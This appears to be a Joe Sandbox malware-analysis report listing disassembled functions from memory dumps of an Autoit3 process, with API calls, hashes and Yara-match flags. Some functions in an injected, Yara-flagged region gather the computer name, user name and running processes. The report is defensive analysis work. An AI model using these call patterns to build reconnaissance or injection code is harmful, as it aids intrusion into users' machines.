Part of subcall function 00854ADE: FreeLibrary.KERNEL32(00000000), ref: 00854B18

Part of subcall function 008548B0: _memmove.LIBCMT ref: 008548FA

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: f267b0a50eee9fa5156456520fcf769540b8e1f2f9238eaf649238564100334b
Instruction ID: f90828e8174fec4fe1356981932c152993e0d94c6102e978ab6811ac5b1c64b0
Opcode Fuzzy Hash: f267b0a50eee9fa5156456520fcf769540b8e1f2f9238eaf649238564100334b
Instruction Fuzzy Hash: 80112B31650219ABCF12FB78CC02F6E77A9FF40706F104429F941E61C2EE718A48AB56

Function 0087E3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0087E3CE

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 55b6711e0985307f05cbe5653ff4f89c2dccf847d231b99b67421dac68b544ac
Instruction ID: 525699e1589da259d9cd37a02dc836882c110d8434e8ab65501fb15db85f32ea
Opcode Fuzzy Hash: 55b6711e0985307f05cbe5653ff4f89c2dccf847d231b99b67421dac68b544ac
Instruction Fuzzy Hash: 24212EB4508319DFCB14CF14C444B1ABBE0FF89308F098968E88A97322D331E859CB93

Function 00854220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,00853CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00854276

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: e577ef462cbd361caed0865cbc01002a0998ce96dddab818ab4e49a67544e74d
Instruction ID: f55ba11da5524516c157ef2c13a97d60b04f6c6c388ab8b7db5514ae33f19bbb
Opcode Fuzzy Hash: e577ef462cbd361caed0865cbc01002a0998ce96dddab818ab4e49a67544e74d
Instruction Fuzzy Hash: 971128312047159FD720CF55C480B62B7E5FB8871AF14C92EE8AA8AA50D7B0E8898B60

Function 03B91130 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,00000011), ref: 03B9116A

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 23761183dd44a8311fc228e68ca48cfc6b06c77eee085581e66970aae5b75cd3
Instruction ID: 17c9c2f56874fa1de9e68aaab40ff5e2b312d6751135e8716548c6b1cb806c30
Opcode Fuzzy Hash: 23761183dd44a8311fc228e68ca48cfc6b06c77eee085581e66970aae5b75cd3
Instruction Fuzzy Hash: E1018F39B04708AFEB05EFB9D8519DEB3FDEB4D204B8184B6D411E7242EA3895049A61

Function 00F1E0F5 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,00010000,?,00001000), ref: 00F1E127

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 5cf62204559087ab60950614ec390625303e3f9792decb59be4d88d8f3b843f4
Instruction ID: dbe9d3512e71bf95d954a1b9db3c79d6c2383884a4b36299db54049cbcb257f4
Opcode Fuzzy Hash: 5cf62204559087ab60950614ec390625303e3f9792decb59be4d88d8f3b843f4
Instruction Fuzzy Hash: 09F03075700610AFDB10DA5CCCC1BD673DC5F5C391B088161B948DB359DBB8DD85A7A2

Function 0087DC5A Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00860FE6: std::exception::exception.LIBCMT ref: 0086101C
Part of subcall function 00860FE6: __CxxThrowException@8.LIBCMT ref: 00861031

_memmove.LIBCMT ref: 0087DC8B

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Exception@8Throw_memmovestd::exception::exception
String ID:
API String ID: 1602317333-0
Opcode ID: 822e073b979b01a60d8c400866c0d16c4e67a578bc9371f30400c024d109022d
Instruction ID: 1a8ec0c8d4dbd45464e570b6fa5c22ca9741c05435635711489f821336e9a097
Opcode Fuzzy Hash: 822e073b979b01a60d8c400866c0d16c4e67a578bc9371f30400c024d109022d
Instruction Fuzzy Hash: DEF0C974604105AFD711DF68D541A15BBE1FF59304B258458E289CB392EB32D811CB92

Function 00854A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00854AA4

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction ID: dea41823be3f7689cea942d1348d15a7b917499f121281b81de76c3a7402f3a3
Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction Fuzzy Hash: 1DF085B6400208BFDF119F89DC00CEBBF79FB89324F144198F9049A210D272EA21DBA0

Function 00854A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,008527AF,?,00000001), ref: 00854A63

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b5d883a6f67c3db5bbd0428c9b25a47369a4fb05146db7771c2a1ea4fe90e8de
Instruction ID: e06fd95aca14f9f49894cd1f98cf5efef3a7661e2c5fb81f9c3625df77ef1109
Opcode Fuzzy Hash: b5d883a6f67c3db5bbd0428c9b25a47369a4fb05146db7771c2a1ea4fe90e8de
Instruction Fuzzy Hash: 04F0F275145721CFCBB59F64E494826BBE1FB1432A320AA2EE9A682610C7319988DB44

Function 03B910D4 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?), ref: 03B910F8

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: ee3d026f0f75b41d3c9f07cb2b86a426924895cbc8cbdb5e1bbaece7e37bdc07
Instruction ID: fde545cb240d761006da97832730028f33ef91a7deb6291db326db01554e40cd
Opcode Fuzzy Hash: ee3d026f0f75b41d3c9f07cb2b86a426924895cbc8cbdb5e1bbaece7e37bdc07
Instruction Fuzzy Hash: 64E06D3A30470067D700FA69DD8059AB2D98B85304F00887A68C68B282EABDDA485692

Function 00854AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00854AD0

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction ID: 1f1103a7eaf8672d3cd5fc83311763f0f88c7f010e52282aeba315a8f27fac2e
Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction Fuzzy Hash: 38F0F87240020DFFDF05DF94C941EAABB79FB14314F208589FD198B252D336DA61AB91

Function 00880A79 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00880A84

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 76e5eab6afbc53b7f5cb092f9239553f6ec07540e3b1d02f4c66c85111f07229
Instruction ID: 3758dc6e61aec861d500be5ce0ce86f72ff5c0801187d23d57d78251987ad626
Opcode Fuzzy Hash: 76e5eab6afbc53b7f5cb092f9239553f6ec07540e3b1d02f4c66c85111f07229
Instruction Fuzzy Hash: 33E02B717083495EEB70EF689404B22FBD5FB10314F10451AD495C1241E37558989FA2

Function 03B658B8 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00840000,?,00000105), ref: 03B658D6

Part of subcall function 03B65B4C: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03B65B67
Part of subcall function 03B65B4C: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03B65B85
Part of subcall function 03B65B4C: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03B65BA3
Part of subcall function 03B65B4C: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 03B65BC1
Part of subcall function 03B65B4C: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,03B65C50,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 03B65C0A
Part of subcall function 03B65B4C: RegQueryValueExA.ADVAPI32(?,03B65DCC,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,03B65C50,?,80000001), ref: 03B65C28
Part of subcall function 03B65B4C: RegCloseKey.ADVAPI32(?,03B65C57,00000000,00000000,00000005,00000000,03B65C50,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03B65C4A

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 810bb714ed69f198b16cb7bba543da0c273e170863ef6b13f5ecf574b77f4931
Instruction ID: c5282abb1097f0cf4b0df56ea5632940c858a7d13565d4cd4fa0e9d404a7537f
Opcode Fuzzy Hash: 810bb714ed69f198b16cb7bba543da0c273e170863ef6b13f5ecf574b77f4931
Instruction Fuzzy Hash: A7E0ED75A003149BCB20DE9CC8C0A4677D8AF09658F0445E6AD58CF34BD7B5DD6487D5

Function 00F1DAA9 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00840000,?,00000105), ref: 00F1DAC7

Part of subcall function 00F1DD3D: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 00F1DD58
Part of subcall function 00F1DD3D: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00F1DD76
Part of subcall function 00F1DD3D: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00F1DD94
Part of subcall function 00F1DD3D: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00F1DDB2
Part of subcall function 00F1DD3D: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,00F1DE41,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00F1DDFB
Part of subcall function 00F1DD3D: RegQueryValueExA.ADVAPI32(?,00F1DFBD,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,00F1DE41,?,80000001), ref: 00F1DE19
Part of subcall function 00F1DD3D: RegCloseKey.ADVAPI32(?,00F1DE48,00000000,00000000,00000005,00000000,00F1DE41,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00F1DE3B

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b71db44c6d7a6867040f1260aada16823b63df32703d9526eeae95d1c3033a29
Instruction ID: bcbfb26ed0d18b93aa0ef320eed47e236688e6935c6823f0fadd9981bd6a10db
Opcode Fuzzy Hash: b71db44c6d7a6867040f1260aada16823b63df32703d9526eeae95d1c3033a29
Instruction Fuzzy Hash: 48E0EDB1A012149FCB10DE6C88C5A8777E8AF08764F044951AD54CF247D7B5DDA4ABE1

Function 008609C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 008609E4

Part of subcall function 00851821: _memmove.LIBCMT ref: 0085185B

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 518526f8a3e34b49f03f37f438ed5705b5febcaa3af62199170b5de398a29bb2
Instruction ID: 4806e40e4536d9bc9c0d6a5a6fae4c900cad7d78cc24c09c270e0bc5bd8bb34e
Opcode Fuzzy Hash: 518526f8a3e34b49f03f37f438ed5705b5febcaa3af62199170b5de398a29bb2
Instruction Fuzzy Hash: 16E0863290012857CB21969C9C09FEE77DDEB896A1F0442B7FC0CD7304D960AC818691

Function 03B6E024 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 03B6DD68: GetModuleHandleA.KERNEL32(kernel32.dll,0000000F,03B6DFEF,?,?,03B947C0,00000000,03B9489E,?,?,?,?,?,03B7ACDD,00000000,03B7B1B3), ref: 03B6DD7C
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 03B6DD94
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 03B6DDA6
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 03B6DDB8
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 03B6DDCA
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 03B6DDDC
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 03B6DDEE
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32First), ref: 03B6DE00
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 03B6DE12
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 03B6DE24
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 03B6DE36
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 03B6DE48
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 03B6DE5A
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32First), ref: 03B6DE6C
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 03B6DE7E
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 03B6DE90
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 03B6DEA2

Process32Next.KERNEL32(?,00000128), ref: 03B6E035

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModuleNextProcess32
String ID:
API String ID: 2237597116-0
Opcode ID: 2af5bc0927ebf4c161edd493bc0818ec1797007ae7bf9f6ee3aa388ad55f8126
Instruction ID: 9609d1796216e4d94de0e1f1bdaa7671da3a8f49c19404791bc5d95676f3ca1c
Opcode Fuzzy Hash: 2af5bc0927ebf4c161edd493bc0818ec1797007ae7bf9f6ee3aa388ad55f8126
Instruction Fuzzy Hash: 88C08CA2312720578F30B6F82EC88C3878CCD4A0FB30808F7F548D7203D2698C0092E0

Function 03B6E004 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 03B6DD68: GetModuleHandleA.KERNEL32(kernel32.dll,0000000F,03B6DFEF,?,?,03B947C0,00000000,03B9489E,?,?,?,?,?,03B7ACDD,00000000,03B7B1B3), ref: 03B6DD7C
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 03B6DD94
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 03B6DDA6
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 03B6DDB8
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 03B6DDCA
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 03B6DDDC
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 03B6DDEE
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32First), ref: 03B6DE00
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 03B6DE12
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 03B6DE24
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 03B6DE36
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 03B6DE48
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 03B6DE5A
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32First), ref: 03B6DE6C
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 03B6DE7E
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 03B6DE90
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 03B6DEA2

Process32First.KERNEL32(?,00000128), ref: 03B6E015

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AddressProc$FirstHandleModuleProcess32
String ID:
API String ID: 2774106396-0
Opcode ID: 7d07838b380ab1081c997ee7b2caef96e844bb41c55b18fb89458a5ede9cd2b2
Instruction ID: cd77e50d1017453499e67cbbc5bb644b34653a492fd4b78b5a8d3e6025e017b2
Opcode Fuzzy Hash: 7d07838b380ab1081c997ee7b2caef96e844bb41c55b18fb89458a5ede9cd2b2
Instruction Fuzzy Hash: 9FC08CA2312620578F30B6F82EC88C7878CCD4E0BB30808F3F548DB203D2698C00A2E0

Function 03B6DFE4 Relevance: 1.5, APIs: 1, Instructions: 17processCOMMON

Download Yara Rule

APIs

Part of subcall function 03B6DD68: GetModuleHandleA.KERNEL32(kernel32.dll,0000000F,03B6DFEF,?,?,03B947C0,00000000,03B9489E,?,?,?,?,?,03B7ACDD,00000000,03B7B1B3), ref: 03B6DD7C
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 03B6DD94
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 03B6DDA6
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 03B6DDB8
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 03B6DDCA
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 03B6DDDC
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 03B6DDEE
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32First), ref: 03B6DE00
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 03B6DE12
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 03B6DE24
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 03B6DE36
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 03B6DE48
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 03B6DE5A
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32First), ref: 03B6DE6C
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 03B6DE7E
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 03B6DE90
Part of subcall function 03B6DD68: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 03B6DEA2

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000,?,?,03B947C0,00000000,03B9489E,?,?,?,?,?,03B7ACDD,00000000,03B7B1B3), ref: 03B6DFF5

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AddressProc$CreateHandleModuleSnapshotToolhelp32
String ID:
API String ID: 2242398760-0
Opcode ID: 9a6db48fc88e228ba8b73b6073d8067cfd2fcef87fae600e35a30f5c8e04df70
Instruction ID: 41356085180797eb0685dcc69d2f626e1aaabec9f8fae4120ded4cf7cb121b4e
Opcode Fuzzy Hash: 9a6db48fc88e228ba8b73b6073d8067cfd2fcef87fae600e35a30f5c8e04df70
Instruction Fuzzy Hash: E2C08CA2312220678F20B6F82DC88C3878DCD4A0BB30808F7B508D7103DA298C0092E0

Function 03B91D48 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,03B91D92,00000000,03B91DAA,?,?,?,?,03B91E0C,00000000,03B91E24,?,?), ref: 03B91D53

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
